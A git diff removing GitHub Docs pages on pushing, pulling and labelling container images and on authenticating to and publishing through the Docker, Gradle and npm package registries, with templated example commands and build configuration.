reusables.package_registry.authenticate-to-container-registry-steps %} - -## Pushing container images - -This example pushes the latest version of `IMAGE_NAME`. - -```shell -docker push {% data reusables.package_registry.container-registry-hostname %}/NAMESPACE/IMAGE_NAME:latest -``` - -Replace `NAMESPACE` with the name of the personal account or organization to which you want the image to be scoped. - -This example pushes the `2.5` version of the image. - -```shell -docker push {% data reusables.package_registry.container-registry-hostname %}/NAMESPACE/IMAGE_NAME:2.5 -``` - -{% data reusables.package_registry.publishing-user-scoped-packages %} You can link a published package to a repository using the user interface or command line. For more information, see [AUTOTITLE](/packages/learn-github-packages/connecting-a-repository-to-a-package). - -When you push a container image from the command line, the image is not linked to a repository by default. This is the case even if you tag the image with a namespace that matches the name of the repository, such as `{% ifversion fpt or ghec %}ghcr.io{% elsif ghes %}{% data reusables.package_registry.container-registry-example-hostname %}{% endif %}/octocat/my-repo:latest`. - -The easiest way to connect a repository to a container package is to publish the package from a workflow using `${% raw %}{{secrets.GITHUB_TOKEN}}{% endraw %}`, as the repository that contains the workflow is linked automatically. Note that the `GITHUB_TOKEN` will not have permission to push the package if you have previously pushed a package to the same namespace, but have not connected the package to the repository. - -To connect a repository when publishing an image from the command line, and to ensure your `GITHUB_TOKEN` has appropriate permissions when using a GitHub Actions workflow, we recommend adding the label `org.opencontainers.image.source` to your `Dockerfile`. For more information, see “[Labelling container images](#labelling-container-images)” in this article and “[AUTOTITLE](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions).” - -## Pulling container images - -### Pull by digest - -To ensure you're always using the same image, you can specify the exact container image version you want to pull by the `digest` SHA value. - -1. To find the digest SHA value, use `docker inspect` or `docker pull` and copy the SHA value after `Digest:` - - ```shell - docker inspect {% data reusables.package_registry.container-registry-hostname %}/NAMESPACE/IMAGE_NAME - ``` - - Replace `NAMESPACE` with the name of the personal account or organization to which the image is scoped. -1. Remove image locally as needed. - - ```shell - docker rmi {% data reusables.package_registry.container-registry-hostname %}/NAMESPACE/IMAGE_NAME:latest - ``` - -1. Pull the container image with `@YOUR_SHA_VALUE` after the image name. - - ```shell - docker pull {% data reusables.package_registry.container-registry-hostname %}/NAMESPACE/IMAGE_NAME@sha256:82jf9a84u29hiasldj289498uhois8498hjs29hkuhs - ``` - -### Pull by name - -```shell -docker pull {% data reusables.package_registry.container-registry-hostname %}/NAMESPACE/IMAGE_NAME -``` - -Replace `NAMESPACE` with the name of the personal account or organization to which the image is scoped. - -### Pull by name and version - -Docker CLI example showing an image pulled by its name and the `1.14.1` version tag: - -```shell -$ docker pull {% data reusables.package_registry.container-registry-hostname %}/NAMESPACE/IMAGE_NAME:1.14.1 -> 5e35bd43cf78: Pull complete -> 0c48c2209aab: Pull complete -> fd45dd1aad5a: Pull complete -> db6eb50c2d36: Pull complete -> Digest: sha256:ae3b135f133155b3824d8b1f62959ff8a72e9cf9e884d88db7895d8544010d8e -> Status: Downloaded newer image for {% data reusables.package_registry.container-registry-hostname %}/NAMESPACE/IMAGE_NAME/release:1.14.1 -> {% data reusables.package_registry.container-registry-hostname %}/NAMESPACE/IMAGE_NAME/release:1.14.1 -``` - -Replace `NAMESPACE` with the name of the personal account or organization to which the image is scoped. - -### Pull by name and latest version - -```shell -$ docker pull {% data reusables.package_registry.container-registry-hostname %}/NAMESPACE/IMAGE_NAME:latest -> latest: Pulling from NAMESPACE/IMAGE_NAME -> Digest: sha256:b3d3e366b55f9a54599220198b3db5da8f53592acbbb7dc7e4e9878762fc5344 -> Status: Downloaded newer image for {% data reusables.package_registry.container-registry-hostname %}/NAMESPACE/IMAGE_NAME:latest -> {% data reusables.package_registry.container-registry-hostname %}/NAMESPACE/IMAGE_NAME:latest -``` - -Replace `NAMESPACE` with the name of the personal account or organization to which the image is scoped. - -## Building container images - -This example builds the `hello_docker` image: - -```shell -docker build -t hello_docker . -``` - -## Tagging container images - -1. Find the ID for the Docker image you want to tag. - - ```shell - $ docker images - > REPOSITORY TAG IMAGE ID CREATED SIZE - > {% data reusables.package_registry.container-registry-hostname %}/my-org/hello_docker latest 38f737a91f39 47 hours ago 91.7MB - > hello-world latest fce289e99eb9 16 months ago 1.84kB - ``` - -1. Tag your Docker image using the image ID and your desired image name and hosting destination. - - ```shell - docker tag 38f737a91f39 {% data reusables.package_registry.container-registry-hostname %}/NAMESPACE/NEW_IMAGE_NAME:latest - ``` - -Replace `NAMESPACE` with the name of the personal account or organization to which you want the image to be scoped. - -## Labelling container images - -{% data reusables.package_registry.about-annotation-keys %} Values for supported keys will appear on the package page for the image. - -For most images, you can use Docker labels to add the annotation keys to an image. For more information, see [LABEL](https://docs.docker.com/engine/reference/builder/#label) in the official Docker documentation and [Pre-Defined Annotation Keys](https://github.com/opencontainers/image-spec/blob/main/annotations.md#pre-defined-annotation-keys) in the `opencontainers/image-spec` repository. - -For multi-arch images, you can add a description to the image by adding the appropriate annotation key to the `annotations` field in the image's manifest. For more information, see [Adding a description to multi-arch images](#adding-a-description-to-multi-arch-images). - -The following annotation keys are supported in the {% data variables.product.prodname_container_registry %}. - -Key | Description -------|------------ -| `org.opencontainers.image.source` | The URL of the repository associated with the package. For more information, see [AUTOTITLE](/packages/learn-github-packages/connecting-a-repository-to-a-package#connecting-a-repository-to-a-container-image-using-the-command-line). -| `org.opencontainers.image.description` | A text-only description limited to 512 characters. This description will appear on the package page, below the name of the package. -| `org.opencontainers.image.licenses` | An SPDX license identifier such as "MIT," limited to 256 characters. The license will appear on the package page, in the "Details" sidebar. For more information, see [SPDX License List](https://spdx.org/licenses/). - -To add a key as a Docker label, we recommend using the `LABEL` instruction in your `Dockerfile`. For example, if you're the user `octocat` and you own `my-repo`, and your image is distributed under the terms of the MIT license, you would add the following lines to your `Dockerfile`: - -```dockerfile -LABEL org.opencontainers.image.source=https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/octocat/my-repo -LABEL org.opencontainers.image.description="My container image" -LABEL org.opencontainers.image.licenses=MIT -``` - -{% data reusables.package_registry.auto-inherit-permissions-note %} - -Alternatively, you can add labels to an image at buildtime with the `docker build` command. - -```shell -$ docker build \ - --label "org.opencontainers.image.source=https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/octocat/my-repo" \ - --label "org.opencontainers.image.description=My container image" \ - --label "org.opencontainers.image.licenses=MIT" -``` - -### Adding a description to multi-arch images - -A multi-arch image is an image that supports multiple architectures. It works by referencing a list of images, each supporting a different architecture, within a single manifest. - -The description that appears on the package page for a multi-arch image is obtained from the `annotations` field in the image's manifest. Like Docker labels, annotations provide a way to associate metadata with an image, and support pre-defined annotation keys. For more information, see [Annotations](https://github.com/opencontainers/image-spec/blob/main/annotations.md) in the `opencontainers/image-spec` repository. - -To provide a description for a multi-arch image, set a value for the `org.opencontainers.image.description` key in the `annotations` field of the manifest, as follows. - -```json -"annotations": { - "org.opencontainers.image.description": "My multi-arch image" -} -``` - -For example, the following {% data variables.product.prodname_actions %} workflow step builds and pushes a multi-arch image. The `outputs` parameter sets the description for the image. - -```yaml -{% data reusables.actions.actions-not-certified-by-github-comment %} - -- name: Build and push Docker image - uses: docker/build-push-action@f2a1d5e99d037542a71f64918e516c093c6f3fc4 - with: - context: . - file: ./Dockerfile - platforms: {% raw %}${{ matrix.platforms }}{% endraw %} - push: true - outputs: type=image,name=target,annotation-index.org.opencontainers.image.description=My multi-arch image -``` - -## Troubleshooting - -* The {% data variables.product.prodname_container_registry %} has a 10 GB size limit for each layer. -* The {% data variables.product.prodname_container_registry %} has a 10 minute timeout limit for uploads. diff --git a/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md b/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md deleted file mode 100644 index c088c710a00d..000000000000 --- a/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md +++ /dev/null @@ -1,296 +0,0 @@ ---- -title: Working with the Docker registry -intro: '{% ifversion fpt or ghec %}The Docker registry has now been replaced by the {% data variables.product.prodname_container_registry %}.{% else %}You can push and pull your Docker images using the {% data variables.product.prodname_registry %} Docker registry.{% endif %}' -product: '{% data reusables.gated-features.packages %}' -redirect_from: - - /articles/configuring-docker-for-use-with-github-package-registry - - /github/managing-packages-with-github-package-registry/configuring-docker-for-use-with-github-package-registry - - /github/managing-packages-with-github-packages/configuring-docker-for-use-with-github-packages - - /packages/using-github-packages-with-your-projects-ecosystem/configuring-docker-for-use-with-github-packages - - /packages/guides/container-guides-for-github-packages/configuring-docker-for-use-with-github-packages - - /packages/guides/configuring-docker-for-use-with-github-packages -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Docker registry ---- - - -{% ifversion fpt or ghec %} - -{% data variables.product.prodname_dotcom %}'s Docker registry (which used the namespace `docker.pkg.github.com`) has been replaced by the {% data variables.product.prodname_container_registry %} (which uses the namespace `https://ghcr.io`). The {% data variables.product.prodname_container_registry %} offers benefits such as granular permissions and storage optimizations for Docker images. - -Docker images previously stored in the Docker registry are being automatically migrated into the {% data variables.product.prodname_container_registry %}. For more information, see [AUTOTITLE](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry) and [AUTOTITLE](/packages/working-with-a-github-packages-registry/working-with-the-container-registry). - -{% else %} - - -{% data reusables.package_registry.packages-ghes-release-stage %} - -{% data reusables.package_registry.admins-can-configure-package-types %} - -## About Docker support - -When installing or publishing a Docker image, the Docker registry does not currently support foreign layers, such as Windows images. - -Docker Engine v25 is not compatible with the Docker Registry on {% data variables.product.prodname_ghe_server %}. We recommend using {% data variables.product.prodname_container_registry %} instead. For information on migrating, see [AUTOTITLE](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry). - -## Authenticating to {% data variables.product.prodname_registry %} - -{% data reusables.package_registry.authenticate-packages %} - -{% data reusables.package_registry.authenticate-packages-github-token %} - -### Authenticating with a {% data variables.product.pat_generic %} - -{% data reusables.package_registry.required-scopes %} - -You can authenticate to {% data variables.product.prodname_registry %} with Docker using the `docker` login command. - -To keep your credentials secure, we recommend you save your {% data variables.product.pat_generic %} in a local file on your computer and use Docker's `--password-stdin` flag, which reads your token from a local file. - -{% ifversion fpt or ghec %} -{% raw %} - -```shell -cat ~/TOKEN.txt | docker login https://docker.pkg.github.com -u USERNAME --password-stdin -``` - -{% endraw %} -{% endif %} - -{% ifversion ghes %} -{% ifversion ghes %} -If your instance has subdomain isolation enabled: -{% endif %} -{% raw %} - -```shell -cat ~/TOKEN.txt | docker login docker.HOSTNAME -u USERNAME --password-stdin -``` - -{% endraw %} -{% ifversion ghes %} -If your instance has subdomain isolation disabled: - -{% raw %} - -```shell -cat ~/TOKEN.txt | docker login HOSTNAME -u USERNAME --password-stdin -``` - -{% endraw %} -{% endif %} - -{% endif %} - -To use this example login command, replace `USERNAME` with your {% data variables.product.github %} username{% ifversion ghes %}, `HOSTNAME` with the URL for {% data variables.location.product_location %},{% endif %} and `~/TOKEN.txt` with the file path to your {% data variables.product.pat_generic %} for {% data variables.product.github %}. - -For more information, see [Docker login](https://docs.docker.com/engine/reference/commandline/login/#provide-a-password-using-stdin). - -## Publishing an image - -{% data reusables.package_registry.docker_registry_deprecation_status %} - -> [!NOTE] -> Image names must only use lowercase letters. - -{% data variables.product.prodname_registry %} supports multiple top-level Docker images per repository. A repository can have any number of image tags. You may experience degraded service publishing or installing Docker images larger than 10GB, layers are capped at 5GB each. For more information, see [Docker tag](https://docs.docker.com/engine/reference/commandline/tag/) in the Docker documentation. - -{% data reusables.package_registry.viewing-packages %} - -1. Determine the image name and ID for your docker image using `docker images`. - - ```shell - $ docker images - > < > - > REPOSITORY TAG IMAGE ID CREATED SIZE - > IMAGE_NAME VERSION IMAGE_ID 4 weeks ago 1.11MB - ``` - -1. Using the Docker image ID, tag the docker image, replacing OWNER with the name of the personal account or organization that owns the repository, REPOSITORY with the name of the repository containing your project, IMAGE_NAME with name of the package or image,{% ifversion ghes %} HOSTNAME with the hostname of {% data variables.location.product_location %},{% endif %} and VERSION with package version at build time. - {% ifversion fpt or ghec %} - - ```shell - docker tag IMAGE_ID docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION - ``` - - {% else %} - {% ifversion ghes %} - If your instance has subdomain isolation enabled: - {% endif %} - - ```shell - docker tag IMAGE_ID docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION - ``` - - {% ifversion ghes %} - If your instance has subdomain isolation disabled: - - ```shell - docker tag IMAGE_ID HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION - ``` - - {% endif %} - {% endif %} -1. If you haven't already built a docker image for the package, build the image, replacing OWNER with the name of the personal account or organization that owns the repository, REPOSITORY with the name of the repository containing your project, IMAGE_NAME with name of the package or image, VERSION with package version at build time,{% ifversion ghes %} HOSTNAME with the hostname of {% data variables.location.product_location %},{% endif %} and PATH to the image if it isn't in the current working directory. - {% ifversion fpt or ghec %} - - ```shell - docker build -t docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH - ``` - - {% else %} - {% ifversion ghes %} - If your instance has subdomain isolation enabled: - {% endif %} - - ```shell - docker build -t docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH - ``` - - {% ifversion ghes %} - If your instance has subdomain isolation disabled: - - ```shell - docker build -t HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH - ``` - - {% endif %} - {% endif %} -1. Publish the image to {% data variables.product.prodname_registry %}. - {% ifversion fpt or ghec %} - - ```shell - docker push docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION - ``` - - {% else %} - {% ifversion ghes %} - If your instance has subdomain isolation enabled: - {% endif %} - - ```shell - docker push docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION - ``` - - {% ifversion ghes %} - If your instance has subdomain isolation disabled: - - ```shell - docker push HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION - ``` - - {% endif %} - {% endif %} - - > [!NOTE] - > You must push your image using `IMAGE_NAME:VERSION` and not using `IMAGE_NAME:SHA`. - -### Example publishing a Docker image - -{% ifversion ghes %} -These examples assume your instance has subdomain isolation enabled. -{% endif %} - -You can publish version 1.0 of the `monalisa` image to the `octocat/octo-app` repository using an image ID. - -{% ifversion fpt or ghec %} - -```shell -$ docker images - -> REPOSITORY TAG IMAGE ID CREATED SIZE -> monalisa 1.0 c75bebcdd211 4 weeks ago 1.11MB - -# Tag the image with OWNER/REPO/IMAGE_NAME -$ docker tag c75bebcdd211 docker.pkg.github.com/octocat/octo-app/monalisa:1.0 - -# Push the image to {% data variables.product.prodname_registry %} -$ docker push docker.pkg.github.com/octocat/octo-app/monalisa:1.0 -``` - -{% else %} - -```shell -$ docker images - -> REPOSITORY TAG IMAGE ID CREATED SIZE -> monalisa 1.0 c75bebcdd211 4 weeks ago 1.11MB - -# Tag the image with OWNER/REPO/IMAGE_NAME -$ docker tag c75bebcdd211 docker.HOSTNAME/octocat/octo-app/monalisa:1.0 - -# Push the image to {% data variables.product.prodname_registry %} -$ docker push docker.HOSTNAME/octocat/octo-app/monalisa:1.0 -``` - -{% endif %} - -You can publish a new Docker image for the first time and name it `monalisa`. - -{% ifversion fpt or ghec %} - -```shell -# Build the image with docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION -# Assumes Dockerfile resides in the current working directory (.) -$ docker build -t docker.pkg.github.com/octocat/octo-app/monalisa:1.0 . - -# Push the image to {% data variables.product.prodname_registry %} -$ docker push docker.pkg.github.com/octocat/octo-app/monalisa:1.0 -``` - -{% else %} - -```shell -# Build the image with docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION -# Assumes Dockerfile resides in the current working directory (.) -$ docker build -t docker.HOSTNAME/octocat/octo-app/monalisa:1.0 . - -# Push the image to {% data variables.product.prodname_registry %} -$ docker push docker.HOSTNAME/octocat/octo-app/monalisa:1.0 -``` - -{% endif %} - -## Downloading an image - -{% data reusables.package_registry.docker_registry_deprecation_status %} - -You can use the `docker pull` command to install a docker image from {% data variables.product.prodname_registry %}, replacing OWNER with the name of the personal account or organization that owns the repository, REPOSITORY with the name of the repository containing your project, IMAGE_NAME with name of the package or image,{% ifversion ghes %} HOSTNAME with the host name of {% data variables.location.product_location %}, {% endif %} and TAG_NAME with tag for the image you want to install. - -{% ifversion fpt or ghec %} - -```shell -docker pull docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME -``` - -{% else %} - -{% ifversion ghes %} -If your instance has subdomain isolation enabled: -{% endif %} - -```shell -docker pull docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME -``` - -{% ifversion ghes %} -If your instance has subdomain isolation disabled: - -```shell -docker pull HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME -``` - -{% endif %} -{% endif %} - -> [!NOTE] -> You must pull the image using `IMAGE_NAME:VERSION` and not using `IMAGE_NAME:SHA`. - -## Further reading - -* [AUTOTITLE](/packages/learn-github-packages/deleting-and-restoring-a-package) - -{% endif %} diff --git a/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md b/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md deleted file mode 100644 index b76c39952d74..000000000000 --- a/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md +++ /dev/null @@ -1,224 +0,0 @@ ---- -title: Working with the Gradle registry -intro: 'You can configure Gradle to publish packages to the {% data variables.product.prodname_registry %} Gradle registry and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Java project.' -product: '{% data reusables.gated-features.packages %}' -redirect_from: - - /articles/configuring-gradle-for-use-with-github-package-registry - - /github/managing-packages-with-github-package-registry/configuring-gradle-for-use-with-github-package-registry - - /github/managing-packages-with-github-packages/configuring-gradle-for-use-with-github-packages - - /packages/using-github-packages-with-your-projects-ecosystem/configuring-gradle-for-use-with-github-packages - - /packages/guides/configuring-gradle-for-use-with-github-packages -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Gradle registry ---- - -{% ifversion ghec %} - -> [!NOTE] The Gradle registry is not available for {% data variables.enterprise.data_residency %}. - -{% endif %} - -{% data reusables.package_registry.packages-ghes-release-stage %} - -{% data reusables.package_registry.admins-can-configure-package-types %} - -## Authenticating to {% data variables.product.prodname_registry %} - -{% data reusables.package_registry.authenticate-packages %} - -{% data reusables.package_registry.authenticate-packages-github-token %} For more information about using `GITHUB_TOKEN` with Gradle, see [AUTOTITLE](/actions/publishing-packages/publishing-java-packages-with-gradle#publishing-packages-to-github-packages). - -### Authenticating with a {% data variables.product.pat_generic %} - -{% data reusables.package_registry.required-scopes %} - -You can authenticate to {% data variables.product.prodname_registry %} with Gradle using either Gradle Groovy or Kotlin DSL by editing your _build.gradle_ file (Gradle Groovy) or _build.gradle.kts_ file (Kotlin DSL) file to include your {% data variables.product.pat_v1 %}. You can also configure Gradle Groovy and Kotlin DSL to recognize a single package or multiple packages in a repository. - -{% ifversion ghes %} -Replace REGISTRY_URL with the URL for your instance's Maven registry. If your instance has subdomain isolation enabled, use `maven.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/maven`. In either case, replace HOSTNAME with the host name of your {% data variables.product.prodname_ghe_server %} instance. -{% endif %} - -Replace USERNAME with your {% data variables.product.prodname_dotcom %} username, TOKEN with your {% data variables.product.pat_v1 %}, REPOSITORY with the name of the repository containing the package you want to publish, and OWNER with the name of the personal account or organization on {% data variables.product.prodname_dotcom %} that owns the repository. Because uppercase letters aren't supported, you must use lowercase letters for the repository owner even if the {% data variables.product.prodname_dotcom %} user or organization name contains uppercase letters. - -> [!NOTE] -> {% data reusables.package_registry.apache-maven-snapshot-versions-supported %} For an example, see [AUTOTITLE](/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry). - -#### Example using Gradle Groovy for a single package in a repository - -```shell -plugins { - id("maven-publish") -} -publishing { - repositories { - maven { - name = "GitHubPackages" - url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY_URL{% endif %}/OWNER/REPOSITORY") - credentials { - username = project.findProperty("gpr.user") ?: System.getenv("USERNAME") - password = project.findProperty("gpr.key") ?: System.getenv("TOKEN") - } - } - } - publications { - gpr(MavenPublication) { - from(components.java) - } - } -} -``` - -#### Example using Gradle Groovy for multiple packages in the same repository - -```shell -plugins { - id("maven-publish") apply false -} -subprojects { - apply plugin: "maven-publish" - publishing { - repositories { - maven { - name = "GitHubPackages" - url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY_URL{% endif %}/OWNER/REPOSITORY") - credentials { - username = project.findProperty("gpr.user") ?: System.getenv("USERNAME") - password = project.findProperty("gpr.key") ?: System.getenv("TOKEN") - } - } - } - publications { - gpr(MavenPublication) { - from(components.java) - } - } - } -} -``` - -#### Example using Kotlin DSL for a single package in the same repository - -```shell -plugins { - `maven-publish` -} -publishing { - repositories { - maven { - name = "GitHubPackages" - url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY_URL{% endif %}/OWNER/REPOSITORY") - credentials { - username = project.findProperty("gpr.user") as String? ?: System.getenv("USERNAME") - password = project.findProperty("gpr.key") as String? ?: System.getenv("TOKEN") - } - } - } - publications { - register("gpr") { - from(components["java"]) - } - } -} -``` - -#### Example using Kotlin DSL for multiple packages in the same repository - -```shell -plugins { - `maven-publish` apply false -} -subprojects { - apply(plugin = "maven-publish") - configure { - repositories { - maven { - name = "GitHubPackages" - url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY_URL{% endif %}/OWNER/REPOSITORY") - credentials { - username = project.findProperty("gpr.user") as String? ?: System.getenv("USERNAME") - password = project.findProperty("gpr.key") as String? ?: System.getenv("TOKEN") - } - } - } - publications { - register("gpr") { - from(components["java"]) - } - } - } -} -``` - -## Publishing a package - -{% data reusables.package_registry.default-name %} For example, {% data variables.product.prodname_dotcom %} will publish a package named `com.example.test` in the `OWNER/test` {% data variables.product.prodname_registry %} repository. - -{% data reusables.package_registry.viewing-packages %} - -{% data reusables.package_registry.authenticate-step %} -1. After creating your package, you can publish the package. - - ```shell - gradle publish - ``` - -## Using a published package - -To use a published package from {% data variables.product.prodname_registry %}, add the package as a dependency and add the repository to your project. For more information, see [Declaring dependencies](https://docs.gradle.org/current/userguide/declaring_dependencies.html) in the Gradle documentation. - -{% data reusables.package_registry.authenticate-step %} -1. Add the package dependencies to your _build.gradle_ file (Gradle Groovy) or _build.gradle.kts_ file (Kotlin DSL) file. - - Example using Gradle Groovy: - - ```shell - dependencies { - implementation 'com.example:package' - } - ``` - - Example using Kotlin DSL: - - ```shell - dependencies { - implementation("com.example:package") - } - ``` - -1. Add the repository to your _build.gradle_ file (Gradle Groovy) or _build.gradle.kts_ file (Kotlin DSL) file. - - Example using Gradle Groovy: - - ```shell - repositories { - maven { - url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY_URL{% endif %}/OWNER/REPOSITORY") - credentials { - username = project.findProperty("gpr.user") ?: System.getenv("USERNAME") - password = project.findProperty("gpr.key") ?: System.getenv("TOKEN") - } - } - } - ``` - - Example using Kotlin DSL: - - ```shell - repositories { - maven { - url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY_URL{% endif %}/OWNER/REPOSITORY") - credentials { - username = project.findProperty("gpr.user") as String? ?: System.getenv("USERNAME") - password = project.findProperty("gpr.key") as String? ?: System.getenv("TOKEN") - } - } - } - ``` - -## Further reading - -* [AUTOTITLE](/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry) -* [AUTOTITLE](/packages/learn-github-packages/deleting-and-restoring-a-package) diff --git a/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md b/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md deleted file mode 100644 index f44cbde6f1e1..000000000000 --- a/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md +++ /dev/null @@ -1,252 +0,0 @@ ---- -title: Working with the npm registry -intro: 'You can configure npm to publish packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in an npm project.' -product: '{% data reusables.gated-features.packages %}' -redirect_from: - - /articles/configuring-npm-for-use-with-github-package-registry - - /github/managing-packages-with-github-package-registry/configuring-npm-for-use-with-github-package-registry - - /github/managing-packages-with-github-packages/configuring-npm-for-use-with-github-packages - - /packages/using-github-packages-with-your-projects-ecosystem/configuring-npm-for-use-with-github-packages - - /packages/guides/configuring-npm-for-use-with-github-packages -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: npm registry ---- - -{% data reusables.package_registry.packages-ghes-release-stage %} - -{% data reusables.package_registry.admins-can-configure-package-types %} - -{% ifversion ghec %} - -## URL for the {% data variables.product.prodname_npm_registry %} - -If you access {% data variables.product.github %} at {% data variables.product.prodname_dotcom_the_website %}, you will publish packages to https://npm.pkg.github.com. Examples in this article use this URL. - -If you access {% data variables.product.github %} at another domain, such as `octocorp.ghe.com`, replace "https://npm.pkg.github.com" with `https://npm.SUBDOMAIN.ghe.com`, where `SUBDOMAIN` is your enterprise's unique subdomain. - -{% endif %} - -{% ifversion packages-npm-v2 %} -{% else %} - -## Limits for published npm versions - -If you publish over 1,000 npm package versions to {% data variables.product.prodname_registry %}, you may see performance issues and timeouts occur during usage. - -In the future, to improve the performance of the service, you won't be able to publish more than 1,000 versions of a package on {% data variables.product.prodname_dotcom %}. Any versions published before hitting this limit will still be readable. - -If you reach this limit, consider deleting package versions or contacting support for help. When this limit is enforced, our documentation will be updated with a way to work around it. For more information, see [AUTOTITLE](/packages/learn-github-packages/deleting-and-restoring-a-package) or [AUTOTITLE](/packages/learn-github-packages/introduction-to-github-packages#contacting-support). -{% endif %} - -## Authenticating to {% data variables.product.prodname_registry %} - -{% data reusables.package_registry.authenticate-packages %} - -{% ifversion packages-npm-v2 %} - -### Authenticating in a {% data variables.product.prodname_actions %} workflow - -This registry supports granular permissions. {% data reusables.package_registry.authenticate_with_pat_for_v2_registry %} - -{% data reusables.package_registry.v2-actions-codespaces %} -{% endif %} - -### Authenticating with a {% data variables.product.pat_generic %} - -{% data reusables.package_registry.required-scopes %} - -You can authenticate to {% data variables.product.prodname_registry %} with npm by either editing your per-user `~/.npmrc` file to include your {% data variables.product.pat_v1 %} or by logging in to npm on the command line using your username and {% data variables.product.pat_generic %}. - -To authenticate by adding your {% data variables.product.pat_v1 %} to your `~/.npmrc` file, edit the `~/.npmrc` file for your project to include the following line, replacing {% ifversion ghes %}HOSTNAME with the host name of {% data variables.location.product_location %} and {% endif %}TOKEN with your {% data variables.product.pat_generic %}. Create a new `~/.npmrc` file if one doesn't exist. - -{% ifversion ghes %} -If your instance has subdomain isolation enabled: -{% endif %} - -```shell -//{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME/{% endif %}/:_authToken=TOKEN -``` - -{% ifversion ghes %} -If your instance has subdomain isolation disabled: - -```shell -//HOSTNAME/_registry/npm/:_authToken=TOKEN -``` - -{% endif %} - -To authenticate by logging in to npm, use the `npm login` command, replacing USERNAME with your {% data variables.product.prodname_dotcom %} username, TOKEN with your {% data variables.product.pat_v1 %}, and PUBLIC-EMAIL-ADDRESS with your email address. - -If you are using npm CLI version 9 or greater and are logging in or out of a private registry using the command line, you should use the `--auth-type=legacy` option to read in your authentication details from prompts instead of using the default login flow through a browser. For more information, see [`npm-login`](https://docs.npmjs.com/cli/v10/commands/npm-login). - -If {% data variables.product.prodname_registry %} is not your default package registry for using npm and you want to use the `npm audit` command, we recommend you use the `--scope` flag with the namespace that hosts the package (the personal account or organization {% ifversion packages-npm-v2 %}to which the package is scoped{% else %}that owns the repository where the package is hosted{% endif %}) when you authenticate to {% data variables.product.prodname_registry %}. - -{% ifversion ghes %} -If your instance has subdomain isolation enabled: -{% endif %} - -```shell -$ npm login --scope=@NAMESPACE --auth-type=legacy --registry=https://{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME/{% endif %} - -> Username: USERNAME -> Password: TOKEN -``` - -{% ifversion ghes %} -If your instance has subdomain isolation disabled: - -```shell -$ npm login --scope=@NAMESPACE --auth-type=legacy --registry=https://HOSTNAME/_registry/npm/ -> Username: USERNAME -> Password: TOKEN -``` - -{% endif %} - -## Publishing a package - -> [!NOTE] -{% ifversion packages-npm-v2 %} - -> * Package names and scopes must only use lowercase letters. -> * The tarball for an npm version must be smaller than 256MB in size. - -{% else %} - -> Package names and scopes must only use lowercase letters. - -{% endif %} - -{% ifversion packages-npm-v2 %} -The {% data variables.product.prodname_registry %} registry stores npm packages within your organization or personal account, and allows you to associate a package with a repository. You can choose whether to inherit permissions from a repository, or set granular permissions independently of a repository. - -{% data reusables.package_registry.publishing-user-scoped-packages %} For more information on linking a published package with a repository, see [AUTOTITLE](/packages/learn-github-packages/connecting-a-repository-to-a-package). - -You can connect a package to a repository as soon as the package is published by including a `repository` field in the `package.json` file. You can also use this method to connect multiple packages to the same repository. For more information, see [Publishing multiple packages to the same repository](#publishing-multiple-packages-to-the-same-repository). -{% else %} -By default, your package is published in the {% data variables.product.prodname_dotcom %} repository that you specify in the `name` field of the `package.json` file. For example, you would publish a package named `@my-org/test` to the `my-org/test` {% data variables.product.prodname_dotcom %} repository. You can publish multiple packages to the same {% data variables.product.prodname_dotcom %} repository by including a `repository` field in the `package.json` file. For more information, see [Publishing multiple packages to the same repository](#publishing-multiple-packages-to-the-same-repository). -{% endif %} - -{% data reusables.package_registry.auto-inherit-permissions-note %} - -You can set up the scope mapping for your project using either a local `.npmrc` file in the project or using the `publishConfig` option in the `package.json`. {% data 